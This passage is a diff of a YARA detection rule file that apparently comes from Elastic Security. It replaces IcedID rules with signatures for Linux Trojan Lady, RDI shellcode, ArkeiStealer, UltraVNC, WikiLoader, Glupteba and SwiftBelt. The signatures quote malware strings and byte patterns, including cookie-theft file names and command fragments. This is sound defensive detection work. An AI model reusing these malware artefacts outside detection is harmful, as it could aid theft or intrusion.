 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "C:\\Users\\user\\source\\repos\\anubis\\bin\\RELEASE\\loader_dll_64.pdb" ascii fullword
-		$a2 = "loader_dll_64.dll" ascii fullword
+		$HootSpoofHeader_0 = "X-Forwarded-Proto: Http"
+		$HootSpoofHeader_1 = "X-Forwarded-Host: %s, 1.1.1.1"
+		$HootSpoofHeader_2 = "Client-IP: %s"
+		$HootSpoofHeader_3 = "Real-IP: %s"
+		$HootSpoofHeader_4 = "X-Forwarded-For: %s"
 
 	condition:
-		1 of ($a*)
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_0B62E783 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Lady_75F6392C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Linux Trojan Lady (Linux.Trojan.Lady)"
 		author = "Elastic Security"
-		id = "0b62e783-5c1a-4377-8338-1c53194b8d01"
-		date = "2022-04-06"
-		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L123-L142"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
-		logic_hash = "aca126529dfa8047ed7dfdc60d970759ab5307448d7d764f88e402cd8d2a016f"
+		id = "75f6392c-fc13-4abb-a391-b5f1ea1039d8"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Lady.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c257ac7bd3a9639e0d67a7db603d5bc8d8505f6f2107a26c2615c5838cf11826"
+		logic_hash = "5160b6ab4800c72b48b501787f3164c2ba1061a2abe21c63180e02d6791a4c12"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2f473fbe6338d9663808f1a3615cf8f0f6f9780fbce8f4a3c24f0ddc5f43dd4a"
+		fingerprint = "da6d4dff230120eed94e04b0e6060713c2bc17da54c098e9a9f3ec7a8200b9bf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 89 44 95 E0 83 E0 07 8A C8 42 8B 44 85 E0 D3 C8 FF C0 42 89 44 }
+		$a = { 57 72 69 00 49 3B 66 10 76 38 48 83 EC 18 48 89 6C 24 10 48 8D 6C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_91562D18 : FILE MEMORY
+rule ELASTIC_Windows_Shellcode_Rdi_Edc62A10 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Windows Shellcode Rdi (Windows.Shellcode.Rdi)"
 		author = "Elastic Security"
-		id = "91562d18-28a1-4349-9e4b-92ad165510c9"
-		date = "2022-04-06"
-		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L144-L163"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
-		logic_hash = "81c87d0d6726bc2dde42fe93c77af53cdd29bb6437fe3d47d1b4550140722c88"
+		id = "edc62a10-7cb1-4fda-a15c-86d40d510ffd"
+		date = "2023-06-23"
+		modified = "2023-07-10"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Shellcode_Rdi.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "64485ffc283e981c8b77db5a675c7ba2a04d3effaced522531185aa46eb6a36b"
+		logic_hash = "986cb6c28d2d9767a2fd084fdd71edb7a1c36e78ddedf3c562076cf6f5b5afd1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "024bbd15da6bc759e321779881b466b500f6364a1d67bbfdc950aedccbfbc022"
-		severity = 100
+		fingerprint = "1cee85457eb31be126a41d4e332735957cf4a928fdf4b5253380b6c97605d069"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 44 8B 4C 19 2C 4C 03 D6 74 1C 4D 85 C0 74 17 4D 85 C9 74 12 41 }
+		$a = { E8 00 00 00 00 59 49 89 C8 48 81 C1 23 0B 00 00 BA [10] 00 41 B9 04 00 00 00 56 48 89 E6 48 83 E4 F0 48 83 EC 30 C7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_2086Aecb : FILE MEMORY
+rule ELASTIC_Windows_Shellcode_Rdi_Eee75D2C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Windows Shellcode Rdi (Windows.Shellcode.Rdi)"
 		author = "Elastic Security"
-		id = "2086aecb-161b-4102-89c7-580fb9ac3759"
-		date = "2022-04-06"
-		modified = "2022-03-02"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L165-L184"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
-		logic_hash = "561bf7eacfbbf1b4e0c111347f0d6ff4325bdbce8db73bee1ba836b610569c0d"
+		id = "eee75d2c-78ef-460f-be96-4638443952fb"
+		date = "2023-08-25"
+		modified = "2023-11-02"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Shellcode_Rdi.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8c4de69e89dcc659d2fff52d695764f1efd7e64e0a80983ce6d0cb9eeddb806c"
+		logic_hash = "18cd9be4af210686872610f832ac0ad58a48588a1226fc6093348ceb8371c6b4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a8b6cbb3140ff3e1105bb32a2da67831917caccc4985c485bbfdb0aa50016d86"
+		fingerprint = "2b8f840cecec00ce3112ea58e4e957e1b0754380e14a8fc8a39abc36feb077e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91147,28 +95026,28 @@ rule ELASTIC_Windows_Trojan_Icedid_2086Aecb : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 4C 8D 05 [4] 42 8A 44 01 ?? 42 32 04 01 88 44 0D ?? 48 FF C1 48 83 F9 20 72 ?? }
+		$a = { 81 EC 14 01 00 00 53 55 56 57 6A 6B 58 6A 65 66 89 84 24 CC 00 00 00 33 ED 58 6A 72 59 6A 6E 5B 6A 6C 5A 6A 33 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_48029E37 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Arkeistealer_84C7086A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Windows Trojan Arkeistealer (Windows.Trojan.ArkeiStealer)"
 		author = "Elastic Security"
-		id = "48029e37-b392-4d53-b0de-2079f6a8a9d9"
-		date = "2022-04-06"
-		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L186-L205"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
-		logic_hash = "1fe337d7a0607938aaf57cf25c1373aadf315b7a8cec133d6d30a38bd58e1027"
+		id = "84c7086a-abc3-4b97-b325-46a078b90a95"
+		date = "2022-02-17"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ArkeiStealer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2"
+		logic_hash = "b7129094389f789f0b43f0da54645c24a6d1149f53d6536c14714e3ff44f935b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "375266b526fe14354550d000d3a10dde3f6a85e11f4ba5cab14d9e1f878de51e"
+		fingerprint = "f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91176,29 +95055,28 @@ rule ELASTIC_Windows_Trojan_Icedid_48029E37 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 48 C1 E3 10 0F 31 48 C1 E2 ?? 48 0B C2 0F B7 C8 48 0B D9 8B CB 83 E1 }
+		$a = { 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_56459277 : FILE MEMORY
+rule ELASTIC_Windows_Remoteadmin_Ultravnc_965F054A : FILE MEMORY
 {
 	meta:
-		description = "IcedID Gzip Variant Core"
+		description = "Detects Windows Remoteadmin Ultravnc (Windows.RemoteAdmin.UltraVNC)"
 		author = "Elastic Security"
-		id = "56459277-432c-437c-9350-f5efaa60ffca"
-		date = "2022-08-21"
-		modified = "2023-03-02"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L207-L237"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "21b1a635db2723266af4b46539f67253171399830102167c607c6dbf83d6d41c"
-		logic_hash = "a18557217c69a3bb8c3da7725d2e0ed849741f8e36341a4ea80eea09d47a5b45"
+		id = "965f054a-4b78-43f3-87db-1ecd64c317a0"
+		date = "2023-03-18"
+		modified = "2023-04-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_RemoteAdmin_UltraVNC.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820"
+		logic_hash = "a9b9d0958f09b23fa7b27ef7ec32b3feb98edca3be5a21552a3a2f50e3fd41c1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "503bfa6800e0f4ff1a0b56eb8a145e67fa0f387c84aee7bd2eca3cf7074be709"
-		threat_name = "Windows.Trojan.IcedID"
+		fingerprint = "7e612ffb9fdf94471f938039b4077d5546edd5d6f700733e1c1e732aef36ed42"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91206,39 +95084,34 @@ rule ELASTIC_Windows_Trojan_Icedid_56459277 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$str1 = "cookie.tar" ascii fullword
-		$str2 = "passff.tar" ascii fullword
-		$str3 = "\\sqlite64.dll" ascii fullword
-		$str4 = "Cookie: session=" ascii fullword
-		$str5 = "{0ccac395-7d1d-4641-913a-7558812ddea2}" ascii fullword
-		$str6 = "mail_vault" wide fullword
-		$seq_decrypt_payload = { 42 0F B6 04 32 48 FF C2 03 C8 C1 C1 ?? 48 3B D7 72 ?? 44 33 F9 45 33 C9 44 89 3C 3B 48 85 FF 74 ?? 41 0F B6 D1 44 8D 42 01 83 E2 03 41 83 E0 03 }
-		$seq_compute_hash = { 0F B6 4C 14 ?? 48 FF C2 8B C1 83 E1 ?? 48 C1 E8 ?? 41 0F B7 04 41 66 89 03 48 8D 5B ?? 41 0F B7 0C 49 66 89 4B ?? 48 83 FA ?? 72 ?? 66 44 89 03 B8 }
-		$seq_format_string = { C1 E8 ?? 44 0B D8 41 0F B6 D0 8B C1 C1 E2 ?? C1 E1 ?? 25 [4] 0B C1 41 C1 E8 ?? 41 0F B6 CA 41 0B D0 44 8B 44 24 ?? C1 E0 ?? C1 E1 ?? 41 C1 EB ?? 44 0B D8 41 C1 EA ?? 0F B7 44 24 ?? 41 0B CA }
-		$seq_custom_ror = { 41 8A C0 41 8A D0 02 C0 0F B6 C8 8A C1 44 8B C1 34 ?? 84 D2 0F B6 C8 44 0F 48 C1 49 83 EB }
-		$seq_string_decrypt = { 0F B7 44 24 ?? 0F B7 4C 24 ?? 3B C1 7D ?? 8B 4C 24 ?? E8 [4] 89 44 24 ?? 0F B7 44 24 ?? 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 33 C1 0F B7 4C 24 ?? 48 8B 54 24 ?? 88 04 0A EB }
+		$s1 = ".\\vncsockconnect.cpp"
+		$s2 = ".\\vnchttpconnect.cpp"
+		$s3 = ".\\vncdesktopthread.cpp"
+		$s4 = "Software\\UltraVNC"
+		$s5 = "VncCanvas.class"
+		$s6 = "WinVNC_Win32_Instance_Mutex"
+		$s7 = "WinVNC.AddClient"
 
 	condition:
-		5 of ($str*) or 2 of ($seq_*)
+		5 of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_7C1619E3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Wikiloader_C57F3F88 : FILE MEMORY
 {
 	meta:
-		description = "IcedID Injector Variant Loader "
+		description = "Detects Windows Trojan Wikiloader (Windows.Trojan.WikiLoader)"
 		author = "Elastic Security"
-		id = "7c1619e3-f94a-4a46-8a81-d5dd7a58c754"
-		date = "2022-12-20"
-		modified = "2023-02-01"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L239-L261"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4f6de748628b8b06eeef3a5fabfe486bfd7aaa92f50dc5a8a8c70ec038cd33b1"
-		logic_hash = "24ddaf474dabc5e91cce08734a035feced9048a3faac4ff236bc97e6caabd642"
+		id = "c57f3f88-0d2c-41a6-b2f9-839b1f1e1193"
+		date = "2024-01-17"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_WikiLoader.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0f71b1805d7feb6830b856c5a5328d3a132af4c37fcd747d82beb0f61c77f6f5"
+		logic_hash = "408c6d811232dbd0c87f75fd28508366151cf9f2f10f012919588db1919e406b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ae21deaad74efaff5bec8c9010dc340118ac4c79e3bec190a7d3c3672a5a8583"
-		threat_name = "Windows.Trojan.IcedID"
+		fingerprint = "a3802da23431fcbc890a5164d6acdbf29ec29bf1a82d4b862495edd8ae642d52"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91246,31 +95119,28 @@ rule ELASTIC_Windows_Trojan_Icedid_7C1619E3 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { C1 C9 0D 0F BE C0 03 C8 46 8A 06 84 C0 75 ?? 8B 74 24 ?? 81 F1 [4] 39 16 76 }
-		$a2 = { D1 C8 F7 D0 D1 C8 2D 20 01 00 00 D1 C0 F7 D0 2D 01 91 00 00 }
-		$a3 = { 8B 4E ?? FF 74 0B ?? 8B 44 0B ?? 03 C1 50 8B 44 0B ?? 03 46 ?? 50 E8 [4] 8B 46 ?? 8D 5B ?? 83 C4 0C 47 3B 78 }
+		$a = { 48 81 EC 08 01 00 00 48 89 CB 48 31 C0 48 89 E9 48 29 E1 48 89 E7 F3 AA 48 89 D9 48 89 4D 80 48 89 95 78 FF FF FF 4C 89 45 C0 4C 89 4D 88 4D 89 D4 4D 89 DD 4C 89 65 C8 49 83 ED 10 4C 89 6D 98 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_D8B23Cd6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Wikiloader_99681F1C : FILE MEMORY
 {
 	meta:
-		description = "IcedID VNC server"
+		description = "Detects Windows Trojan Wikiloader (Windows.Trojan.WikiLoader)"
 		author = "Elastic Security"
-		id = "d8b23cd6-c20c-40c9-a8e9-80d68e709764"
-		date = "2023-01-03"
-		modified = "2023-01-03"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L263-L294"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bd4da2f84c29437bc7efe9599a3a41f574105d449ac0d9b270faaca8795153ab"
-		logic_hash = "47e427a4f088de523115f438cad9fc26233158b0518d87703c282df351110762"
+		id = "99681f1c-8b32-4cb0-ab6b-640b316e587a"
+		date = "2024-01-17"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_WikiLoader.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0b02cfe16ac73f2e7dc52eaf3b93279b7d02b3d64d061782dfed0c55ab621a8e"
+		logic_hash = "fb293d74186e778856780377120ac2ebe9550a508a0b33e706c39f93a5509df8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d47af2b50d0fb07858538fdb9f53fee008b49c9b1d015e4593199407673e0e21"
-		threat_name = "Windows.Trojan.IcedID"
+		fingerprint = "1cd978adc6cbd36a5738fb4c26a2ba4aaa8e69a035bd2618ef2175b3bb2dc4b6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91278,39 +95148,28 @@ rule ELASTIC_Windows_Trojan_Icedid_D8B23Cd6 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "User idle %u sec / Locked: %s / ScreenSaver: %s" wide
-		$a2 = "No VNC HOOK" wide
-		$a3 = "Webcam %u" wide
-		$a4 = "rundll32.exe shell32.dll,#61"
-		$a5 = "LAP WND"
-		$a6 = "FG WND"
-		$a7 = "CAP WND"
-		$a8 = "HDESK Tmp" wide
-		$a9 = "HDESK Bot" wide
-		$a10 = "HDESK bot" wide
-		$a11 = "CURSOR: %u, %u"
-		$b1 = { 83 7C 24 ?? 00 75 ?? 83 7C 24 ?? 00 75 ?? [1] 8B 0D [4] 8B 44 24 }
+		$a = { 48 83 EC 08 48 89 E0 4C 89 20 48 83 EC 08 48 89 E0 4C 89 28 48 83 EC 08 48 89 E0 4C 89 30 48 83 EC 08 48 89 E0 4C 89 38 48 89 E5 48 83 EC 08 48 83 EC 60 48 89 CB 48 31 C0 48 89 E9 48 29 E1 48 }
 
 	condition:
-		6 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_A2Ca5F80 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Glupteba_70557305 : FILE MEMORY
 {
 	meta:
-		description = "IcedID Injector Variant Core"
+		description = "Detects Windows Trojan Glupteba (Windows.Trojan.Glupteba)"
 		author = "Elastic Security"
-		id = "a2ca5f80-85b1-4502-8794-b8b4ea1be482"
-		date = "2023-01-16"
-		modified = "2023-04-23"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L296-L323"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e36266cd66b9542f2eb9d38f9a01f7b480f2bcdbe61fe20944dca33e22bd3281"
+		id = "70557305-3d11-4dde-b53b-94f1ecc0380b"
+		date = "2021-08-08"
+		modified = "2021-10-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Glupteba.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ad13fd7968f9574d2c822e579291c77a0c525991cfb785cbe6cdd500b737218"
+		logic_hash = "f3eee9808a1e8a2080116dda7ce795815e1179143c756ea8fdd26070f1f8f74a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfbacf63b91315e5acf168b57bf18283ba30f681f5b3d3835418d0d32d238854"
-		threat_name = "Windows.Trojan.Icedid"
+		fingerprint = "bac7daa5c491de8f8a75b203cdb1cdab2c10633aa45a82e6b04d2f577e3e8415"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91318,37 +95177,33 @@ rule ELASTIC_Windows_Trojan_Icedid_A2Ca5F80 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "EMPTY"
-		$a2 = "CLEAR"
-		$a3 = { 66 C7 06 6D 3D 83 C6 02 0F B6 05 [4] 50 68 34 73 00 10 56 FF D7 03 F0 66 C7 06 26 6A C6 46 ?? 3D 83 C6 03 }
-		$a4 = { 8B 46 ?? 6A 00 FF 76 ?? F7 D8 FF 76 ?? 1B C0 FF 76 ?? 50 FF 76 ?? 53 FF 15 }
-		$a5 = { 8D 44 24 ?? 89 7C 24 ?? 89 44 24 ?? 33 F6 B8 BB 01 00 00 46 55 66 89 44 24 ?? 89 74 24 ?? E8 [4] 89 44 24 ?? 85 C0 74 ?? 8B AC 24 }
-		$a6 = { 8A 01 88 45 ?? 45 41 83 EE 01 75 ?? 8B B4 24 [4] 8B 7E }
-		$a7 = { 53 E8 [4] 8B D8 30 1C 2F 45 59 3B EE 72 }
-		$a8 = { 8B 1D [4] 33 D9 6A 00 53 52 E8 [4] 83 C4 0C 89 44 24 ?? 85 C0 0F 84 }
-		$a9 = { C1 C9 0D 0F BE C0 03 C8 46 8A 06 }
+		$a1 = "%TEMP%\\app.exe && %TEMP%\\app.exe"
+		$a2 = "is unavailable%d smbtest"
+		$a3 = "discovered new server %s"
+		$a4 = "uldn't get usernamecouldn't hide servicecouldn't"
+		$a5 = "TERMINATE PROCESS: %ws, %d, %d" ascii fullword
+		$a6 = "[+] Extracting vulnerable driver as \"%ws\"" ascii fullword
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_B8C59889 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Glupteba_4669Dcd6 : FILE MEMORY
 {
 	meta:
-		description = "IcedID fork init loader"
+		description = "Detects Windows Trojan Glupteba (Windows.Trojan.Glupteba)"
 		author = "Elastic Security"
-		id = "b8c59889-2cc6-49c6-a81a-4bc36f3b1f6f"
-		date = "2023-05-05"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L325-L349"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a63d08cd53053bfda17b8707ab3a94cf3d6021097335dc40d5d211fb9faed045"
-		logic_hash = "08c6c604d1791c35a8494e5ec8a96e8c5dd2ca3d6c57971da20057ce8960fa1d"
+		id = "4669dcd6-8e04-416d-91c0-f45816430869"
+		date = "2021-08-08"
+		modified = "2021-10-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Glupteba.yar#L26-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b55042e06f218546db5ddc52d140be4303153d592dcfc1ce90e6077c05e77f7"
+		logic_hash = "64b2099f40f94b17bc5860b41773c41322420500696d320399ff1c016cb56e15"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2f15ed0bc186b83a298eb51b43f10aa46ce6654ea9312a9529d36fc4cff05d4c"
-		threat_name = "Windows.Trojan.IcedID"
+		fingerprint = "5b598640f42a99b00d481031f5fcf143ffcc32ef002eac095a14edb18d5b02c9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -91356,882 +95211,960 @@ rule ELASTIC_Windows_Trojan_Icedid_B8C59889 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "{%0.8X-%0.4X-%0.4X-%0.4X-%0.4X%0.8X}" wide fullword
-		$a2 = "\\1.bin" wide fullword
-		$a3 = "c:\\ProgramData" wide fullword
-		$a4 = "Loader.dll" ascii fullword
-		$seq_crypto = { 83 E1 03 83 E0 03 48 8D 14 8A 41 8B 0C 80 4D 8D 04 80 41 0F B6 00 83 E1 07 02 02 41 32 04 29 41 88 04 19 49 FF C1 8B 02 }
+		$a1 = { 40 C3 8B 44 24 48 8B 4C 24 44 89 81 AC 00 00 00 8B 44 24 4C 89 81 B0 00 }
 
 	condition:
-		4 of ($a*) or 1 of ($seq*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_81Eff9A3 : FILE MEMORY
+rule ELASTIC_Macos_Hacktool_Swiftbelt_Bc62Ede6 : FILE MEMORY
 {
 	meta:
-		description = "IcedID fork core bot loader"
+		description = "Detects Macos Hacktool Swiftbelt (MacOS.Hacktool.Swiftbelt)"
 		author = "Elastic Security"
-		id = "81eff9a3-4c75-48a5-8160-718c9a2d1e14"
-		date = "2023-05-05"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L351-L371"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "96dacdf50d1db495c8395d7cf454aa3a824801cf366ac368fe496f89b5f98fe7"
-		logic_hash = "923dd8166cce0ec32b3b8b20cad192b3c15b7ce7c17fd44ddda739ad205a6c06"
+		id = "bc62ede6-e6f1-4c9e-bff2-ef55a5d12ba1"
+		date = "2021-10-12"
+		modified = "2021-10-25"
+		reference = "https://www.elastic.co/security-labs/inital-research-of-jokerspy"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Hacktool_Swiftbelt.yar#L1-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1"
+		logic_hash = "51481baa6ddb09cf8463d989637319cb26b23fef625cc1a44c96d438c77362ca"
